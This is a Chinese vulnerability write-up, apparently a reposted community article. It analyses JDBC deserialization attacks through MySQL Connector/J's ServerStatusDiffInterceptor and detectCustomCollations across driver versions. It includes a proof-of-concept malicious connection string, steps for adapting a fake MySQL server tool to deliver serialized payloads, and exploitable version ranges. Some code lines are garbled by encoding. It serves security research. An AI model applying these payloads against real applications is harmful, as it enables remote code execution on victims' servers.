從JDBC attack到detectCustomCollations利用范圍擴展

聲明

出品|先知社區(qū)(ID:RoboTerh)

以下內(nèi)容,來自先知社區(qū)的RoboTerh作者原創(chuàng),由于傳播,利用此文所提供的信息而造成的任何直接或間接的后果和損失,均由使用者本人負責,長白山攻防實驗室以及文章作者不承擔任何責任。

漏洞分析

原理POC

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";

關(guān)鍵屬性

queryInterceptors:一個逗號分割的Class列表(實現(xiàn)了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之間”進行執(zhí)行來影響結(jié)果。(效果上來看是在Query執(zhí)行前后各插入一次操作)

statementInterceptors:和上面的攔截器作用一致,實現(xiàn)了com.mysql.jdbc.StatementInterceptor接口的Class

到底應該使用哪一個屬性,我們可以在對應版本的com.mysql.jdbc.ConnectionPropertiesImpl類中搜索,如果存在,就是存在的那個屬性

autoDeserialize:自動檢測與反序列化存在BLOB字段中的對象。

getObject方法的尋找

我們可以關(guān)注到mysql-connnector-java-xxx.jar包中存在有ResultSetImpl.getObject()方法

當然,同樣的,在不同的版本下的位置不同,我這里使用的5.1.48版本,他的位置

在com.mysql.jdbc.ResultSetImpl類中

首先他會判斷類型,如果是BIT類型,就會調(diào)用getObjectDeserializingIfNeeded方法,跟進

之后他首先會判斷field是否是Binary或者Blob

BLOB (binary large object),二進制大對象,是一個可以存儲二進制文件的容器。在計算機中,BLOB常常是數(shù)據(jù)庫中用來存儲二進制文件的字段類型

之后取出對應的字節(jié)數(shù),并且判斷是否開啟了autoDeserialize, 如果開啟了,將會進入if語句繼續(xù)判斷前兩個字節(jié)是否為-84?-19這是序列化字符串的標志,hex分別為AC ED, 如果滿足條件,就會調(diào)用對應的readObject方法進行反序列化

所以不難發(fā)現(xiàn),如果我們能夠控制需要反序列化的數(shù)據(jù),就能夠進行反序列化漏洞的利用

ServerStatusDiffInterceptor攔截器的妙用

我們可以關(guān)注到com.mysql.jdbc.interceptors.Server-StatusDiffInterceptor這個類,在其中的populateMap-WithSessionStatusValues方法中,會調(diào)用Util.resultSetToMap(toPopulate, rs);方法,進而調(diào)用了java.sql.ResultSet.getObject方法,形成利用鏈

rivate void populateMapWithSessionStatusValues(Connection connection, Map<String, String> toPopulate) throws SQLException {    java.sql.Statement stmt = null;????java.sql.ResultSet?rs?=?null;    try {????????toPopulate.clear();        stmt = connection.createStatement();        rs = stmt.executeQuery("SHOW SESSION STATUS");        Util.resultSetToMap(toPopulate, rs); //調(diào)用getObject方法    } finally {        if (rs != null) {            rs.close();????????}        if (stmt != null) {            stmt.close();        }    }}
//Util.resultSetToMappublic static void resultSetToMap(Map mappedValues, java.sql.ResultSet rs) throws SQLException {    while (rs.next()) {        mappedValues.put(rs.getObject(1), rs.getObject(2));    }}

同樣通過idea的find Usages方法找到在postProcess方法中調(diào)用了populateMapWithSessionStatusValues

public ResultSetInternalMethods postProcess(String sql, Statement interceptedStatement, ResultSetInternalMethods originalResultSet, Connection connection)????????throws?SQLException?{    if (connection.versionMeetsMinimum(5, 0, 2)) {        //調(diào)用????????populateMapWithSessionStatusValues(connection,?this.postExecuteValues);        connection.getLog().logInfo("Server status change for statement:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));????}    return null; // we don't actually modify a result set}

同樣在preProcess方法中也調(diào)用了

在調(diào)用鏈中也可以得到

populateMapWithSessionStatusValues:61, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)invokeStatementInterceptorsPre:2824, MysqlIO (com.mysql.jdbc)sqlQueryDirect:2580, MysqlIO (com.mysql.jdbc)execSQL:2465, ConnectionImpl (com.mysql.jdbc)execSQL:2439, ConnectionImpl (com.mysql.jdbc)executeQuery:1365, StatementImpl (com.mysql.jdbc)loadServerVariables:3775, ConnectionImpl (com.mysql.jdbc)initializePropsFromServer:3196, ConnectionImpl (com.mysql.jdbc)connectOneTryOnly:2233, ConnectionImpl (com.mysql.jdbc)createNewIO:2015, ConnectionImpl (com.mysql.jdbc):768, ConnectionImpl (com.mysql.jdbc):47, JDBC4Connection (com.mysql.jdbc)newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)handleNewInstance:425, Util (com.mysql.jdbc)getInstance:385, ConnectionImpl (com.mysql.jdbc)connect:323, NonRegisteringDriver (com.mysql.jdbc)getConnection:664, DriverManager (java.sql)getConnection:208, DriverManager (java.sql)main:15, Test (pers.xstream)

com.mysql.jdbc.ConnectImpl#loadServerVariables方法存在需要執(zhí)行一段SHOW VARIABLES的sql語句

results = stmt.executeQuery(versionComment + "SHOW VARIABLES");

因為在這個版本中的mysql-connector使用的是statementInterceptors作為在執(zhí)行SQL語句的攔截器類,所以在com.mysql.jdbc.MysqlIO#sqlQueryDirect方法中存在對這個屬性值是否存在的判斷,如果存在,就調(diào)用其中的攔截處理邏輯,不存在就直接放行

進而調(diào)用了對應Interceptor的preProcess方法,如果我們在JDBC連接串中使用的

是ServerStatusDiffInterceptor作為攔截器,那么就會調(diào)用他的preProcess方法,進而形成了利用鏈

注意:在populateMapWithSessionStatusValues方法中存在一個執(zhí)行SHOW SESSION STATUS獲取結(jié)果的邏輯

rs = stmt.executeQuery("SHOW SESSION STATUS");

我們在惡意Mysql服務端進行處理的時候就可以通過進行SHOW SESSION STATUS或者其他版本的其他標志作為標志,返回我們構(gòu)造的惡意payload, 使得在后面調(diào)用了UtilresultSetToMap進行g(shù)etObject的調(diào)用

在ResultSetImpl#getObject方法中對mysql服務端返回的數(shù)據(jù)進行判斷,這里是Types.LONGVARBINARY類型(長二進制數(shù)據(jù)), 再然后就是前面提到了getObject方法尋找的部分了

detectCustomCollations的妙用

在這里我們將環(huán)境中的mysql-connector-java包改為5.1.29版本

來自chybeta佬的研究,我們可以關(guān)注到ConnectionImpl#buildCollationMapping中存在有Util.resultSetToMap的調(diào)用,能夠形成前面所描述的利用鏈

首先看一下調(diào)用棧

buildCollationMapping:1004, ConnectionImpl (com.mysql.jdbc)initializePropsFromServer:3617, ConnectionImpl (com.mysql.jdbc)connectOneTryOnly:2550, ConnectionImpl (com.mysql.jdbc)createNewIO:2320, ConnectionImpl (com.mysql.jdbc)<init>:834, ConnectionImpl (com.mysql.jdbc)<init>:46, JDBC4Connection (com.mysql.jdbc)newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)handleNewInstance:411, Util (com.mysql.jdbc)getInstance:416, ConnectionImpl (com.mysql.jdbc)connect:347, NonRegisteringDriver (com.mysql.jdbc)getConnection:664, DriverManager (java.sql)getConnection:208, DriverManager (java.sql)main:16, Test (pers.xstream)

從上面的截圖我們可以看到有幾個判斷條件

  1. 需要滿足服務端版本要大于4.1.0?, 而且detectCustomCollations需要為true

if (versionMeetsMinimum(4, 1, 0) && getDetectCustomCollations())

2. 需要滿足大于5.0.0,在5.1.28不存在這個條件

同樣這里獲取了執(zhí)行SHOW COLLATION命令的結(jié)果集,同樣可以作為標志返回惡意payload

只要滿足上述條件,就只需要將結(jié)果集中的字段 2 或者 3 封裝我們的序列化數(shù)據(jù)就可以成功利用了

進行探索

過程

在大佬的研究中,提到了,detectCustomCollations觸發(fā)方式在5.1.40版本之后不能夠利用,因為沒有使用getObject的方式獲取SHOW COLLATION的結(jié)果

但是在我的跟蹤中,發(fā)現(xiàn)了,其實還是可以利用的,雖然這個發(fā)現(xiàn)沒有什么大用,在高版本不能使用ServerStatusDiffInterceptor的時候用用??

在idea中添加對應版本的包

<dependency>  <groupId>mysql</groupId>  <artifactId>mysql-connector-java</artifactId>  <version>5.1.41</version></dependency>

在版本對比中,的確在新版本中刪掉了Util.resultSetToMap的調(diào)用

但是卻在后面直接調(diào)用了SHOW COLLATION返回的結(jié)果,調(diào)用getObject方法,這里或許就可以達到我們的利用目的

為什么不能夠成功執(zhí)行

在發(fā)現(xiàn)了這個觸發(fā)位置之后,我使用工具進行漏洞利用的時候,發(fā)現(xiàn)并不能夠成功執(zhí)行payload, 為什么呢?

我們可以關(guān)注到在調(diào)用getObject的時候

這里是取的第3列的數(shù)據(jù),而在大佬的工具中有所描述

SHOW SESSION STATUS和SHOW COLLATION的公用列是第二列

同時在debug的過程中發(fā)現(xiàn)取出的并不是序列化數(shù)據(jù),所以我們需要修改工具,使得返回的結(jié)果集中第3列是惡意的序列化數(shù)據(jù),之后對利用工具進行了深入了解,和構(gòu)造分析,可以知道在server.py中的handle_server方法中需要我們對其更改

在圖片所指的位置,就是我們返回集的第1,2,3的數(shù)據(jù),可以直接改成content接收序列化數(shù)據(jù),相對的,如果使用的是config.json配置文件執(zhí)行命令的方式,就需要將上面某個的233改為yso_dict[username]

之后我們就可以成功利用了

只有直到在5.1.49版本中做出了更改,導致不能使用

6.x版本能夠利用嗎

當然可以,在6.x版本中,他就類似于5.1.41之前的調(diào)用Util.resultSetToMap, 在這里它使用的是ResultSetUtil.resultSetToMap,跟進一下看下邏輯

是不是和之前的差不多,利用:

版本區(qū)分

ServerStatusDiffInterceptor

  • 5.1.11-6.0.6使用的是statementInterceptors屬性,而8.0以上使用queryInterceptors, 具體屬性可以在ConnectionPropertiesImpl類中搜索

  • 5.1.11以下,不能通過這種方式利用,因為在5.1.10中Interceptors的初始化過程在漏洞利用過程之后,將會在利用中,因為找不到interceptor而不能夠觸發(fā)成功https://github.com/mysql/mysql-connector-j/compare/5.1.10...5.1.11#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL779-L785


  • 5.0.x沒有這個攔截器

detectCustomCollations

  • 8.0.x不存在getObject方法的調(diào)用

  • 6.x能夠利用,因為他在com.mysql.cj.jdbc.Connec-tionImpl中調(diào)用了ResultSetUtil.resultSetToMap和上面的功能類似,且沒有版本判斷

  • 從5.1.29開始啟用detectCustomCollations屬性,但是直到5.1.49做出了更改導致不能使用https://github.com/mysql/mysql-connector-j/compare/5.1.48...5.1.49#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL911-L914

  • 在這里值得注意的是,在5.1.41做出了更改,不再調(diào)用Util.resultSetToMap方法,進而調(diào)用getObject方法,改為了直接調(diào)用getObject方法https://github.com/mysql/mysql-connector-j/compare/5.1.40...5.1.41#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL944-R936

  • 5.1.18以下沒有使用getObject方法的調(diào)用

  • 在5.1.19-5.1.28過程中,不存在detectCustom-Collations屬性的判斷,但是仍然可以調(diào)用

  • https://github.com/mysql/mysql-connector-j/compare/5.1.28...5.1.29#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL986-L1005

可用連接串

直接對fnmsd的研究稍作修改

將其中5.1.41不可用改成5.1.29以上只有5.1.49不可用,且6.x系列都可以使用

參考

  1. https://github.com/fnmsd/MySQL_Fake_Server

  2. https://www.anquanke.com/post/id/203086#h2-1

  3. https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-

  4. Technique-In-Java-Deserialization-Attack.pdf


?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容